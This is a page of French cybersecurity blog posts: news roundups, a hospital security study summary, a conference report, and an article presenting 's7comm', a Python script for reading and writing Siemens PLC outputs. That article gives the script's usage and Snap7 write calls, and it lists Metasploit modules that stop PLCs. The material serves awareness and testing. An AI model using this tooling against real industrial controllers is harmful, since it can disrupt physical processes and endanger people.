Quantcast
Channel: Wavestone SecurityInsider
Viewing all 125 articles
Browse latest View live

CERT-Solucom : retour sur l'actualité de la semaine du 29 février 2016

$
0
0

Comme chaque semaine, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !

Retrouvez également le focus de la semaine consacré à la sécurité SI au sein des hôpitaux.

[Brève] DROWN, la vulnérabilité TLS touche plus de 11 millions de sites web HTTPS
Plus de 11 millions de sites web et services email sont protégés par TLS sont vulnérables à cette attaque qui permet de déchiffrer les communications.
Source :
http://arstechnica.com/security/2016/03/more-than-13-million-https-websites-imperiled-by-new-decryption-attack/
[Brève] 1ère attaque ransomware pour Mac bloquée par Apple
Source :
http://www.lemondeinformatique.fr/actualites/lire-1ere-attaque-ransomware-pour-mac-bloquee-par-apple-64122.html

[Brève] Deux chercheurs réussissent à déverrouiller un téléphone avec une feuille de papier
Les chercheurs ont détourné la protection biométrique de l’appareil en imprimant les empreintes du possesseur du smartphone avec une imprimante standard.
Source :
http://news.softpedia.com/news/you-can-unlock-fingerprint-protected-phones-with-a-regular-inkjet-printer-501392.shtml#sgal_0

[Brève] La fonction rand() en PHP est facilement prédictible, que ce soit sous Windows ou Linux
Source :
http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

[Brève] Le Parlement français vote une loi obligeant les entreprises à déchiffrer leurs données en cas d’enquête
Sources :
http://www.theregister.co.uk/2016/03/04/france_to_jail_tech_execs_over_encryption/ http://www.phonandroid.com/350-000-5-ans-de-prison-entreprise-refuse-decrypter-donnees-france.html

[Brève] Une faille de type reflected XSS a été trouvée sur le site de Fortinet
Sources :
http://www.scmagazineuk.com/reflected-xss-vuln-found-on-fortinet-login-page/article/481106/ http://news.softpedia.com/news/xss-on-fortinet-s-login-page-let-attackers-log-passwords-in-cleartext-501343.shtml

[Brève] Un hacker parvient à détourner un drone policier d’une valeur de 35 000$ avec du matériel à 40$
Source :
https://www.inverse.com/article/12375-a-hacker-says-he-knows-how-to-take-over-a-police-drone

[Brève] Des pirates de la mer attaquent les systèmes informatiques des sociétés maritimes pour récupérer des informations sur les cargaisons et lancer des attaques ciblées
Source :
http://arstechnica.com/security/2016/03/pirates-hack-into-shipping-companys-servers-to-identify-booty/

[Brève] L’Université de Californie subit une attaque exposant 80 000 données financières d’étudiants
Le système du service des finances de l’université Berkeley a été attaqué et les données de sécurité sociale et numéros de comptes en banque de 80 000 membres de facultés, étudiants et vendeurs ont fuité.
Source :
http://www.scmagazineuk.com/financial-system-breached-at-uc-berkeley-campus-exposing-80k-records/article/479951/

[Brève] L’armée américaine annonce qu’elle va lancer des cyber-attaques contre Mosul, ville de Daesh
Source :
http://arstechnica.com/information-technology/2016/03/us-military-launches-cyber-attacks-on-isis-in-mosul-and-announces-it/

[Brève] Un nouveau malware vise l’ambassade de l’Inde en Afghanistan
Source :
https://www.reddit.com/r/netsec/comments/48idrw/new_malware_rover_targets_indian_ambassador_to/ http://yro.slashdot.org/story/16/03/01/1543235/mars-rover-code-used-for-cyber-espionage-malware?utm_source=feedly1.0mainlinkanon&utm_medium=feed

[Brève] Une smartwatch low-cost envoie des données à des adresses chinoises aléatoires
Vendue sur eBay, la smartwatch U8 contient une backdoor qui se connecte silencieusement à des adresses chinoises inconnues.
Source :
http://www.theregister.co.uk/2016/03/02/chinese_backdoor_found_in_ebays_popular_cheap_smart_watch/

[Brève] Deux hôpitaux allemands touchés par un ransomware
Source :
http://www.theregister.co.uk/2016/02/26/german_hospitals_ransomware/

[Brève] TorProject accuse CloudFlare de surveillance massive
Les administrateurs Tor accusent CloudFlare de saboter le trafic des utilisateurs Tor en leur faisant entrer plusieurs fois des captchas et en partageant leurs données avec des entreprises.
Source :
http://yro.slashdot.org/story/16/02/26/1816211/tor-project-accuses-cloudflare-of-mass-surveillance-sabotaging-traffic?utm_source=feedly1.0mainlinkanon&utm_medium=feed

[Brève] Des milliers d’applications Baidu font fuiter les informations utilisateurs
Les données de millions de chinois ont été collectées et transmises de manière non sécurisée. En cause, le kit de développement de Baidu qui est vulnérable.
Source :
http://www.bbc.com/news/technology-35669817

Abderahmane HABAIED et Laurent LAJUGIE

Hôpitaux et SSI : le manque de sécurité nuit gravement à la santé

$
0
0

L’étude [1] publiée par l’ISE (Independent Security Evaluators), le 23 février 2016, dresse un portrait inquiétant du niveau de sécurité au sein des hôpitaux américains, sur un panel d’établissements audités, et propose un plan d’action détaillé pour aider à rehausser ce niveau. 

Cette étude de 2 ans, de janvier 2014 à janvier 2016, a été réalisée sur un périmètre de 12 hôpitaux, 2 établissements de stockage de données médicales, 2 machines de traitement médical actif et 2 applications web. Elle est articulée en 3 parties :
  • Une première partie retraçant le contexte et analysant les risques portant sur l’environnement médical
  • Une deuxième partie décrivant la méthode d’audit réalisée et présentant les résultats
  • Une troisième partie proposant un plan de sécurisation des établissements de la santé

 

Contexte et analyse de l’attractivité du milieu hospitalier 

Pour réaliser la cartographie des risques menaçant les établissements médicaux, un inventaire des atouts présents dans l’écosystème de la santé a été réalisé. Ces atouts vont alors devenir les cibles des cyber-attaquants. On en distingue deux types :
  • Des atouts pour le patient : sa santé, ses données de santé, la disponibilité du service de santé pour le patient et leur confiance dans le système de santé ;
  • Des atouts pour l’hôpital : la propriété intellectuelle et scientifique produite par la recherche, l’avantage concurrentiel que peut avoir un hôpital, les finances de l’établissement, sa réputation globale et la réputation de chacun de ses médecins.
Il est également intéressant de constater les différents types d’attaques qui menacent les SI hospitaliers. Pour cela, on distingue :
  • Les attaques ciblées (sur une personne ou un SI en particulier) des attaques opportunistes (périmètre cible large et diffus, essais multiples à moindre coût pour tenter de trouver les cibles les plus faibles) ;
  • Les attaques basiques (non élaborées, automatisées, s’appuyant sur des vulnérabilités connues et classiques) des attaques sophistiquées (plus longues, pouvant s’appuyer sur une ou plusieurs vulnérabilités 0-day) ;
  • Les ressources de l’attaquant : cela peut aller d’un simple individu isolé, jusqu’à un important groupe mafieux voire à un état entier aux ressources quasi-illimitées.
Il faut noter la constante évolution d’une part de l’industrie hospitalière (digitalisation de leurs outils & processus, accessibilité distante au SI et aux données médicales, multiplication des utilisateurs IT, etc.) et d’autre part de la cybermenace (nombre d’attaques, complexité, expertise pointue, agissements lents et stratégiques, etc.). Ces deux évolutions combinées renforcent le retour sur investissement des attaques, ce qui augmente considérablement l’exposition des hôpitaux. 

On obtient ainsi le tableau ci-dessous qui résume les capacités et les motivations des attaquants menaçant le SI hospitalier. Deux cibles à forte valeur sont reprises : l’atteinte à la santé des patients et le vol de leurs données (de santé et personnelles).



La cellule jaune représente la seule menace aujourd’hui considérée par les hôpitaux. Les cellules rouges, elles, représentent les menaces encore ignorées jusqu’à aujourd’hui. Force est alors de constater que la couverture des risques reste jusqu’ici très faible et que la protection des données de santé est une priorité, au détriment de la santé des patients !
Les hôpitaux ne semblent pas conscients de la complexité de certaines attaques modernes – pouvant cibler directement leur secteur – et des mesures de sécurité IT nécessaires pour s’en protéger.
Les exemples d’attaque du milieu hospitalier restent aujourd’hui peu nombreux. Manque de visibilité ou secteur encore non ciblé, la réponse reste floue. Une chose est sûre, les risques auxquels certains grands industriels sont aujourd’hui exposés, restent identiques pour l’industrie hospitalière. C’est alors la santé même des patients qui est belle et bien visée.
Les stratégies de protection IT des hôpitaux ne sont pas adaptées aux nouvelles attaques sophistiquées. Les équipes SSI ne sont aujourd’gui concentrées que sur la protection des données médicales et ne constatent pas nécessairement les autres risques majeurs auxquels ils vont devoir faire face.

Résultats et constatations de l’étude 

Pour établir des scénarios d’attaque, la méthodologie suivante a été réalisée :
  • Collecte de données sur les hôpitaux (interview des acteurs clefs et récupération de la documentation des hôpitaux) ;
  • Compromission et POC d’attaque sur des machines médicales hors réseau ;
  • Réalisation d’attaques fictives directement sur les systèmes de production des hôpitaux (avec pour seule limite la non-perturbation du service médical) ;
  • Partage des failles et vulnérabilités exploitées et définition d’un plan d’action long terme. 

Afin de pouvoir construire et exploiter des scénarios d’attaques sur le SI de l’hôpital, un modèle de menaces a été conçu. Ce dernier est représenté par le schéma ci-dessous. Il affiche l’ensemble des éléments susceptibles d’être utilisés pour réaliser une attaque ciblant spécifiquement la santé du patient.
On peut par exemple créer un scénario d’attaque ciblant un objet de mesure médicale (barcode scanner), ce qui permettrait de modifier les données médicales affichées du patient (EHRs) et ainsi tromper leur interprétation par le médecin (qui pourrait alors se voir prescrire un traitement néfaste pour le patient)


Ce modèle de menace est organisé en 3 cercles autour du patient. Le premier cercle constitue la surface d’attaque primaire du patient, et liste les attaques qui peuvent blesser directement le patient. Le second cercle est la surface d’attaque secondaire du patient, qui le blesse au travers du premier cercle. Enfin, le troisième cercle (surface d’attaque tertiaire) est l’ensemble des éléments du SI de l’hôpital (tous n’étant pas représentés ici), permettant de s’introduire et d’atteindre à la santé du patient.
A l’aide de ce modèle, plusieurs scénario d’attaque ont été conçus et exploités avec succès, excepté la phase finale d’action. Voici les scénarios les plus significatifs exploités par ISE :
  • Intrusion dans le SI depuis un site web, compromission du réseau et de machines médicales actives pour ensuite impacter physiquement les patients à l’aide de ces machines ;
  • Accès au SI depuis une tablette mise à disposition à l’accueil de l’hôpital, propagation dans le réseau de l’hôpital et manipulation d’équipements de mesure (Barcode Scanner) pour qu’un mauvais traitement soit donné à un patient ;
  • Intrusion dans le SI et élévation de privilèges au niveau administrateur en exploitant une vulnérabilité de type XSS puis manipulation des données médicales pour que pour qu’un mauvais traitement soit donné à un patient ;
  • Propagation d’un malware sur clé USB par « baiting » (clés USB avec le logo de l’hôpital, oubliées volontairement dans des lieux fréquentés par les médecins et les infirmières) permettant de modifier les inventaires et les dispensaires de médicaments, provoquant l’administration de mauvais traitements aux patients.
Grâce à ce travail d’analyse, des vulnérabilités et failles de sécurité ont pu être identifiées et communiquées aux hôpitaux concernés. Les grandes catégories de manquements identifiés sont les suivantes :
  • Manque de financement pour la conception et l’implémentation de la sécurité ;
  • Manque de ressources informatiques et notamment dans la sécurité ;
  • Manque de formation et de sensibilisation sécurité pour le personnel de l’hôpital ;
  • Mauvaise organisation interne de la sécurité (pas de distinction hiérarchique entre l’informatique et la sécurité) ;
  • Manque de politiques de sécurité (ou politiques non appliquées et non contrôlées) ;
  • Manque de vision et de maîtrise du SI ;
  • Manque d’audits et de procédures de contrôles ;
  • Manque de surveillance temps réel du SI ;
  • Manque de ségrégation dans l’architecture réseau ;
  • Manque de contrôle d’accès efficaces et sécurisés ;
  • Obsolescence forte de certains systèmes ;
  • Manque de sécurisation des locaux IT physiques de l’hôpital.
Il est ainsi à noter qu’une majorité des bonnes pratiques de sécurité informatique ne sont pas respectées convenablement.

Plan de sécurisation des établissements de la santé 

La couverture de l’ensemble de ces faiblesses sera longue et complexe. De manière générale, il est recommandé à l’industrie de la santé de privilégier la protection de la santé du patient à celle de ses données, bien que les deux soient importants. Il est également préconisé d’augmenter le financement de l’informatique au sein des établissements, d’adopter une réglementation claire et encourageant les hôpitaux à sécuriser leur SI, d’informer les patients sur les risques encourus et de renforcer le poids des DSI (et RSSI) au sein des instances de direction.
Au niveau des systèmes d’information, un plan de sécurisation détaillé a été proposé, en fonction de la taille de l’hôpital concerné. Ce plan s’articule autour de 10 thématiques, relativement classiques mais nécessaires à traiter : la planification, l’organisation, les ressources humaines, les politiques, l’architecture, l’inventaire, le durcissement, la sensibilisation, l’audit et la continuité d’activité.
Pour chacune de ces thématiques, plusieurs actions sont alors proposées. En voici quelques exemples :
  • En matière de planification :
    • Analyser et comprendre les risques pesant sur l’hôpital 
    • Réaliser un modèle de menaces afin d’évaluer la surface d’attaque, et les niveaux (primaire, secondaire, tertiaire) de chaque élément du SI ;
    • Cadrer une cible de sécurisation du SI ;
    • Faire une évaluation de l’écart de l’existant à cette cible, et proposer un plan de remédiation à long terme.
  • En matière de politique :
    • Définir formellement une politique de sécurité ;
    • Décliner la politique en termes de procédures ;
    • Anticiper le contrôle de la politique, chaque règle devant être auditable ;
    • Mettre en place une amélioration continue de cette politique.
  • En matière de d’architecture :
    • Cartographier les flux d’informations sensibles ;
    • Segmenter le réseau de l’hôpital par criticité à l’aide de la cartographie des flux ;
    • Choisir des équipements réseaux et sécurités adaptés à l’architecture du réseau ;
    • Mettre en place l’administration des équipements de manière sécurisée ;
    • Restreindre et contrôler les accès distants et physique au SI.
  • En matière de sensibilisation :
    • Sensibiliser tous les employés de l’hôpital aux fondamentaux de la sécurité et à la politique de sécurité de l’hôpital ;
    • Sensibiliser les responsables de l’hôpital aux enjeux de la sécurité SI ;
    • Sensibiliser les équipes informatiques aux menaces, aux techniques d’attaque et de défense du SI. 

 

Conclusion 

L’objet de cette étude est d’offrir la vision actuelle de la SSI dans le milieu hospitalier. Elle montre leur niveau de sécurité à date, propose un plan d’actions d’amélioration mais permet surtout une réelle prise de conscience quant à l’ensemble des risques et des cyber-menaces que les hôpitaux encourent quotidiennement.
En définitive et à l’image d’autres secteurs, le milieu hospitalier n’a pas encore considéré la sécurité de ses systèmes d’information comme une priorité ; et ce, peut-être avant tout par ignorance des risques encourus. Pourtant, c’est précisément sur la nature de ces risques que ce secteur se démarque dangereusement.
En effet, les différents audits réalisés au cours de cette étude permettent de montrer très nettement quels pourraient être les impacts en cas d’attaques avérées. Les conclusions sont inquiétantes. Comme plusieurs acteurs industriels, l’humain – ici le patient – est la plupart du temps directement impacté. C’est alors que l’enjeu de la cybersécurité prend une toute autre dimension…

Source :
Pierre SORIN

CERT-Solucom : retour sur l'actualité de la semaine du 7 mars

$
0
0

Comme chaque semaine, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !

Le 8 mars s'est tenue la Journée Sécurité des Systèmes d'Information, organisée par l'OSSIR. Sans plus attendre, retrouvez notre compte-rendu de cette journée. Bonne lecture !

[Brève] Les utilisateurs de TOR peuvent être identifiés grâce au déplacement de leur souris
Des fonctions peuvent enregistrer les mouvements de la souris dans le navigateur. Lors d’une enquête il sera donc possible de comparer ces données avec différents échantillons pour identifier de manière quasi-certaine la machine et donc l'utilisateur.
Source :
http://news.softpedia.com/news/tor-users-can-be-tracked-based-on-their-mouse-movements-501602.shtml

[Brève] Seagate victime de phishing
Les formulaires d’impôt des employés de Seagate ont été exposés après qu’un des salariés de l’entreprise se soit fait piéger par un courriel malveillant.
Source :
http://www.hardocp.com/news/2016/03/07/seagate_phish_exposes_all_employee_w2rsquos#.VuLO5uLhCM8

[Brève] Un 0day permet de lire les SMS et les flux HTTP de certains modems 3G/4G
Source :
http://www.theregister.co.uk/2016/03/11/ruskie_finds_0day_remote_code_exec_holes_in_popular_modems/

[Brève] Cisco corrige des vulnérabilités critiques sur leurs switches Nexus
Ces vulnérabilités permettaient d'accéder à distance à l’appareil avec des droits d’administrateur sans authentification préalable
Source :
http://www.scmagazineuk.com/cisco-patches-critical-vulnerability-that-would-allow-root-user-privileges/article/481286/

[Brève] L’US Air Force possède maintenant deux “cyber-armes” permettant de traquer et d’engager des APT
Source :
http://www.zdnet.com/article/the-us-air-force-now-has-two-fully-operational-cyberspace-weapon-systems/

[Brève] Samsung a poussé une mise à jour urgente pour corriger une vulnérabilité de type Man in the Middle sur ses ordinateurs portables
Source :
https://threatpost.com/samsung-windows-laptop-owners-urged-to-download-fix-to-mitm-vulnerability/116710/

[Brève] Google corrige des vulnérabilités critiques sur Android
Source :
https://threatpost.com/google-fixes-critical-android-mediaserver-bugs-again/116614/

[Brève] Les données des clients d’une clinique, comme leur identité et leurs traitements, ont été volées
Après enquête, il s’est avéré qu’un utilisateur avait réussi à s’introduire dans la base de données.
Source :
http://www.scmagazineuk.com/cancer-clinics-customer-data-stolen/article/481971/

[Brève] Anonymous pirate et fait fuiter la boîte vocale de Donald Trump
Source :
http://politics.slashdot.org/story/16/03/05/2118244/anonymous-hacks-donald-trumps-voicemail-and-leaks-the-messages

[Brève] La banque NatWest souffre de smishing
De plus en plus de banques se font attaquer par smishing, le pendant du phishing par sms.
Source :
http://www.scmagazineuk.com/natwest-online-banking-suffers-sms-smishing-scams/article/481378/

Laurent LAJUGIE

Compte-rendu de la JSSI 2016

$
0
0

Le mardi 8 mars 2016 s’est tenue la Journée Sécurité des Systèmes d’Informations (JSSI), organisée par l’OSSIR ( Observatoire de la Sécurité des Systèmes d’Information et des Réseaux). Cette édition s’est déroulée comme chaque année au MAS, et avait le thème suivant : « Retour vers le futur : bienvenue en 1984 ? ».
Huit conférences, alternant retours d’expérience, présentations techniques ou organisationnelles, se sont enchaînées, entrecoupées d’un excellent buffet à midi, comme à l’accoutumée.
Après un bref mot introductif du président –et quelques interruptions d’un dénommé Dimitri- la première présentation a eu lieu. 

  • Life of PII, une journée dans la vie de nos données personnelles par Damien Desfontaines (Google)
    Dans cette intervention, l’orateur nous a présenté les différents mécanismes organisationnels et techniques mis en place par Google pour assurer la « privacité» des données que ses clients lui confient. On apprend de manière très intéressante que la problématique des données personnelles est prise en compte dès la création d’un nouveau projet, avec la création d’un document détaillant les données personnelles manipulées et les traitements qui vont leur être effectués ; il s’agit d’un fonctionnement très procéduré que l’on n’imagine pas forcément dans une entreprise telle que Google. De même, des solutions techniques, réutilisables, permettent aux applications de limiter les données personnelles manipulées. Plusieurs centaines de personnes sont dédiées à la gestion des données à caractère personnel chez Google.

  • Retour sur 10 ans d’audit sécurité, par Renaud FEIL (Synacktiv) et Jérémy LEBOURDAIS (ON-X)
    Après avoir effectué un panorama des vulnérabilités fréquemment exploitées en audit par le passé, les deux intervenants ont fait le point sur les nouvelles mesures de sécurité et ont insisté sur l’élévation du niveau de sécurité des produits.
    On regrettera cependant que la présentation se soit focalisé sur l’amélioration des systèmes, mais n’ai pas apporté un regard critique sur les vastes évolutions du côté des ressources de l’attaquant :
    • Le concept de « bug bounty» n’a été abordé que très brièvement ;
    • La vaste disponibilité de supports de formation pour les débutants ;
    • Les progrès considérables sur la connaissance et les mécanismes d’attaque et de persistance sur l’Active Directory ;
    • Le niveau de qualité et de packaging exceptionnel des outils d’attaques d’aujourd’hui, qui facilitent grandement le travail du pentesteur (Metasploit, Empire, …)
  • Retour d'expérience sur la lutte contre le cyber-espionnage (étatique) par Laurent OUDOT (Tehtri-Security)
    Plusieurs situations d’espionnage économique, peut-être étatique ont été détaillées, non sans humour, lors de cette présentation. Des mises en garde et recommandations ont ensuite été formulées sur les bonnes pratiques à appliquer pour –tenter- de se prémunir de ce type d’attaques.

  • De la cyber-surveillance du salarié à la cyber-protection de l’employeur : 15 ans d’évolution de jurisprudence. Et maintenant ? par Me François COUPEZ (ATIPIC)
    L’avocat présente lors de son intervention les différentes règlementations qui imposent la sécurité du système d’information de l’entreprise. En cas de piratage, l’entreprise pourrait faire face à un quadruple peine : conséquences classiques (remédiations, pertes, …), condamnation CNIL, diminution des dommages et intérêt si négligence de la part de l’entreprise en matière de sécurité, et enfin des sanctions pénales.
    L’entreprise doit donc mettre en place une « cybersurveillance», tout en respectant les droits de chacun (CNIL, etc).
    Cette surveillance doit se faire de manière licite afin d’obtenir des preuves opposables. Dans le cas contraire (preuve illicite), l’entreprise pourrait non seulement perdre le procès, mais également risquer un procès en retour en correctionnelle. Il est donc important de s’assurer que les preuves sont obtenues dans le respect des lois, mais également des chartes de l’entreprise.

  • « Surveillance en bande organisée » par Jérémie Zimmermann
    Dans son intervention, le co-fondateur de la Quadrature du Net nous avertissait sur la surveillance généralisée, orchestrée notamment par la NSA. Bien que PRISM soit le programme le plus connu des révélations Snowden, c’est le programme BULLRUN qui a été évoqué par Jérémie Zimmermann. Ce programme visait à affaiblir, de toutes les manières possibles, l’efficacité des moyens de chiffrement utilisés dans le monde. C’est notamment par la règlementation, mais également par la participation à des groupes de travail et de standardisation en tentant d’imposer des choix technologiques moins robustes que s’est effectué ce travail.
    Quelques lueurs d’espoir subsistent pour assurer la confidentialité de ses échanges, et, selon l’auteur, passent par :
    • L’utilisation de logiciel libre, et vérifié ;
    • Sur une plate-forme matérielle de confiance (qui reste à définir);
    • Auto-hébergée, et restant donc sous la maîtrise totale de son propriétaire.
  • Sécurité et AS400 par Sylvain Leconte (Cogicéo)
    Sylvain Leconte nous présentait ensuite un retour d’expérience sur des tests d’intrusions réalisés sur IBM AS400. Cette présentation reprenait les différentes étapes d’un test d’intrusion : identification, énumération, bruteforce, exécution de commandes, élévation de privilèges. Les vulnérabilités les plus couramment rencontrées en test d’intrusion ont été détaillées. Les mots de passe des utilisateurs sont notamment l’un des points faibles (mots de passe triviaux, complexité très faible, …). De même, de nombreuses protections sont contournables et la gestion des droits des utilisateurs est très fréquemment chaotique, permettant d’obtenir des privilèges élevés. Ces premiers résultats, très intéressants, ouvrent la porte à d’autres questions, qui nécessiteront des recherches complémentaires (export des hash utilisateurs, mise en place d’un reverse shell, exécution de code directement depuis un terminal TN5250, etc..).
  • IOT et sécurité Sigfox par Renaud Lifchitz (Digital Security)
    Renaud Lifchitz nous a ensuite présenté la technologie Sigfox, qui permet la communication d’objets « connectés » via une liaison radio nécessitant très peu de ressources. Après une présentation détaillée, en cinq slides, de la société Digital Security, l’intervenant a détaillé le fonctionnement de Sigfox ainsi que des mécanismes de sécurité existants. Aucun mécanisme de chiffrement des données n’est proposé par la solution, ni aucun exemple d’intégration au niveau applicatif ; on peut donc redouter que les industriels peinent à implémenter une telle fonctionnalité. Une clé secrète est cependant présente dans les objets et permet de calculer un HMAC, garantissant l’intégrité des données transmises. Cependant, la faible entropie de ce HMAC pourrait permettre de rejouer certains messages.
  • La cryptographie de Bitcoin, de la confiance à la preuve... par Jean-Luc PAROUTY (CNRS / IBS)
    Après un rappel du fonctionnement de la blockchain, Jean-Luc Parouty a présenté les résultats de ses travaux sur l’utilisation de la technologie blockchain afin d’enregistrer des preuves d’antériorité (exemple : prouver l’antériorité de ces travaux scientifiques). Pour cela, un démonstrateur a été créé. Il permet l’ajout dans la blockchain d’un condensat correspondant au document que l’on souhaite enregistrer. On peut ainsi prouver qu’un condensat a été publié antérieurement, ainsi que l’identité de l’auteur. Il est accessible ici : https://docproof.org/
Vous pouvez retrouver une partie des présentations sur la page dédiée sur le site de l’OSSIR :
Prochain rendez-vous le 12 avril pour la réunion mensuelle !
Arnaud SOULLIE

[FAQ Blockchain] – Posez vos questions aux experts Solucom !

$
0
0

Bonjour à tous,

Un article portant sur la technologie Blockchain et son principe de fonctionnement a été publié sur ce blog. Malgré cet article, vous avez encore des interrogations sur la Blockchain ?

Alors n’attendez plus !
Vous pouvez nous poser vos questions jusqu’à vendredi via l’un des deux moyens suivants :

  • soit dans les commentaires de cet article 
  • soit sur Twitter via le hashtag #BlockchainSolucom

Les experts Blockchain de Solucom apportent des réponses à VOS questions. Celles-ci seront publiées dans un prochain article.

Parmi ces experts, membres du Solucom BlockchainLab, participent notamment :

  • Kamal Bouhouch dispose d’une expertise poussée en pilotage de projets « data » (big data, open data, data analytics). Affichant plus de 10 années d’expérience dans le domaine du conseil, il dispose également d’une forte expertise en analyse d’opportunités Blockchain à destination des métiers.

  • Anne Gautreneau accompagne depuis plus de 15 ans de grands acteurs publics et privés dans la conduite de leurs projets de transformation digitale. Elle intervient plus particulièrement sur les thèmes de l’accompagnement au changement, de la mise en œuvre de méthodes agiles, du management de l’innovation.

  • Matthieu Garin est un expert en risk management et sécurité de l’information avec plus de 10 années d’expérience. Il a notamment travaillé sur de nombreux projets d’architecture de sécurité. Il maîtrise parfaitement tous les aspects de sécurité sous-jacents à la Blockchain.

  • Matthieu Bédel a plus de 18 années d’expérience dans le conseil, dont 13 dans la banque de détail et l’assurance. Il dispose d’une expertise poussée en optimisation de processus et en efficacité opérationnelle. Il intervient notamment sur des problématiques Blockchain liées à la performance des métiers de la banque. 

  • Laurence Al Neimi est une experte du secteur de l’assurance. Plus de 15 années d’expérience dans le conseil lui ont notamment permis d’accompagner Allianz ou BNP Paribas Assurance à la tête de grands programmes de transformation digitale. 

S7comm : un outil de communication avec les Automates Programmables Industriels Siemens

$
0
0
La sécurité des Systèmes d’Informations Industriels (SII) est aujourd’hui au centre des préoccupations dans les entreprises concernées. Ces systèmes permettent une action directe dans le monde « physique »à l’aide d’instructions provenant du monde « logique » et pilotent les outils de production de nombreuses entreprises.

Du fait du manque de sécurité de ces systèmes, de nombreuses attaques ont été recensées dans le monde ces dernières années. La dernière en date ayant eu le plus gros impact est l'attaque du réseau électrique de l'Ukraine en décembre dernier [1]. De nombreuses personnes se sont retrouvées sans électricité suite à une attaque du réseau industriel.

Le plus bas niveau des SI industriels est le réseau de production. Les capteurs et les actionneurs sont reliés aux entrées/sorties des automates industriels. Les protocoles utilisés pour communiquer avec ces automates sont généralement des protocoles propriétaires. Parmi les plus utilisés, on retrouve : Modbus, S7comm, DNP3, Profibus, Hart… Ces protocoles manquent souvent des principales fonctions de sécurité à savoir l’authentification et le chiffrement des flux. Il est donc possible de rejouer des requêtes et de réaliser des actions malveillantes directement sur les automates.  Modbus, protocole de Schneider Electric publiquement documenté et libre de droits, est une norme de référence pour les communications industrielles. De nombreux outils utilisant ce protocole existent pour communiquer avec les automates Schneider :
  •        Le module Metasploit modbusclient [2], permettant de lire et d'écrire sur les coils / registres de l'automate
  •          Le module Metasploit modicon_command [3], permettant d'arrêter / démarrer l'automate à distance
  •          Le module Metasploit modicon_stux_transfer[4], permettant de récupérer / télécharger le code de l'automate
  •          Le script perl mbtget [5], permettant de lire et d'écrire sur les coils / registres de l'automate
  •        La librairie python Pymodbus [6], permettant de communiquer avec des automates Schneider
En revanche, le protocole S7 Communication (S7comm) est quant à lui nettement moins fourni en outils,  bien qu'utilisé par tous les automates Siemens. Il existe cependant la bibliothèque Snap7 [7] ainsi qu'un wrapper Python utilisant ce protocole.
Nous nous sommes ainsi lancés dans le développement d'un nouveau script baptisé « s7comm », permettant facilement de dialoguer avec les automates Siemens.
Présentation de s7comm
s7comm [8] est un script python utilisant la librairie Snap7 permettant de lire et écrire sur les sorties des automates Siemens.
Les différents argumentssont directement spécifiés en ligne de commande, exactement comme pour le script mbtget pour le protocole Modbus :
$ python s7comm.py -a address -m mode -n number -d data ip_address
-a     Adresse à partir de laquelle les données vont être lues / écrites
-m [r|w]     Choix du mode de fonctionnement : lecture ou écriture sur l'automate
-n     Nombre de données à lire / écrire
-d     Données en bit à écrire (exemple 0110) 
Les deux principalesfonctions utilisées de la bibliothèque Snap 7sont les suivantes :
s7.read_area(snap7.types.areas['PA'], 0, start, size)
Cette fonction permet de lire des données sur les sorties de l'automate en utilisant le protocole S7comm. Elle admet quatre arguments :
1.     Le type de données : dans ce cas, il s'agit des sorties numériques (« tout ou rien », tor) de l'automate.
2.     Le numéro de la base de données : dans le cas des sorties numériques, cette option n'est pas utilisée et a donc toujours la valeur 0.
3.     Le byte d'offset: il s'agit du premier byte lu.
4.      Le nombre de bytes à lire.
s7.write_area(snap7.types.areas['PA'], 0, start, data)
Cette fonction permet d'écrire des données sur les sorties de l'automate.
Elle a quatre arguments :
1.     Le type de données: dans ce cas, il s'agit des sorties numériques de l'automate.
2.     Le numéro de la base de données : dans le cas des sorties numériques, cette option n'est pas utilisée et a donc toujours la valeur 0.
3.     Le byte d'offset: il s'agit du premier byte sur lequel on va écrire.
4.     Les donnéesà écrire sous forme de bytearray.

Chaque sortie de l'automate a une valeur sur un bit. Huit sorties peuvent donc être écrites sur un byte. Plusieurs opérations doivent donc être réalisées avant d'envoyer la commande puisque les arguments "address" et "number" donnés en ligne de commande font référence à des bits. Notamment, si le premier bit à lire n'est pas le premier bit du byte, il y a un offset à prendre en compte.
Pour finir, voici deux exemples d'utilisation :
1.     Lecture de 8 bits à partir de l'adresse 0 :
2.      Écriture de la valeur 1 sur 8 bits à partir de l'adresse 0


Conclusion
À travers la publication de l’outil s7comm  comme de cet article, nous souhaitons rappeler la relative facilité à communiquer avec des automates industriels. Un attaquant, une fois arrivé sur le SI industriel, peut directement perturber le procédé industriel. Vos commentaires et contributions sont les bienvenus afin de fiabiliser et d’améliorer cet outil.

Sources :

Thomas DEBIZE & Alexandrine TORRENTS

SMTP STS : un effort pour mieux sécuriser les emails

$
0
0
L’échange d’emails fonctionne grâce au fameux protocole historique SMTP (Simple Mail Transfer Protocol). Inventé dans les années 80, celui-ci fait transiter toutes les informations (données et métadonnées) en clair et ce, tout au long de la chaîne de transmission (du poste client émetteur au poste client récepteur en passant par tous les serveurs de messagerie intermédiaires). L’atteinte à la confidentialité et l’intégrité des données est alors possible.
Afin de pallier à ce problème le standard SMTPS (SMTP encapsulé dans un tunnel SSL/TLS) a été inventé en 2002 afin de sécuriser l’échange SMTP. Ce dernier est malheureusement vulnérable aux attaques de type Man in The Middle permettant notamment à un attaquant d’écouter le trafic de manière illégitime.
C’est alors que SMTP STS entre en jeu. Ce nouveau protocole, toujours en cours d’élaboration, devrait enfin permettre de couvrir les risques exposés par SMTP et SMTPS.
Le protocole SMTP, c’est simpleet fort !
Le protocole SMTP a été créé pour envoyer des emails, c’est-à-dire transférer des emails vers des serveurs de messagerie. Il se situe au niveau applicatif (couche 7 du modèle OSI), reposant sur TCP (couche 4) pour le transport et utilisant par défaut le port 25.
Voici un exemple d’interaction avec un serveur SMTP (en orange) via telnet. On note son fonctionnement très simple, dépourvu d’authentification et de chiffrement.
telnet smtp.xxxx.xxxx 25
Connected to smtp.xxxx.xxxx.
220 smtp.xxxx.xxxx SMTP Ready
HELO client
250-smtp.xxxx.xxxx
250-PIPELINING
250 8BITMIME      
MAIL FROM: <auteur@yyyy.yyyy>
250 Sender ok
250 Recipient ok.
DATA
354 Enter mail, end with "." on a line by itself
Subject: Test

Corps du texte
.
250 Ok
QUIT
221 Closing connection
Connection closed by foreign host.
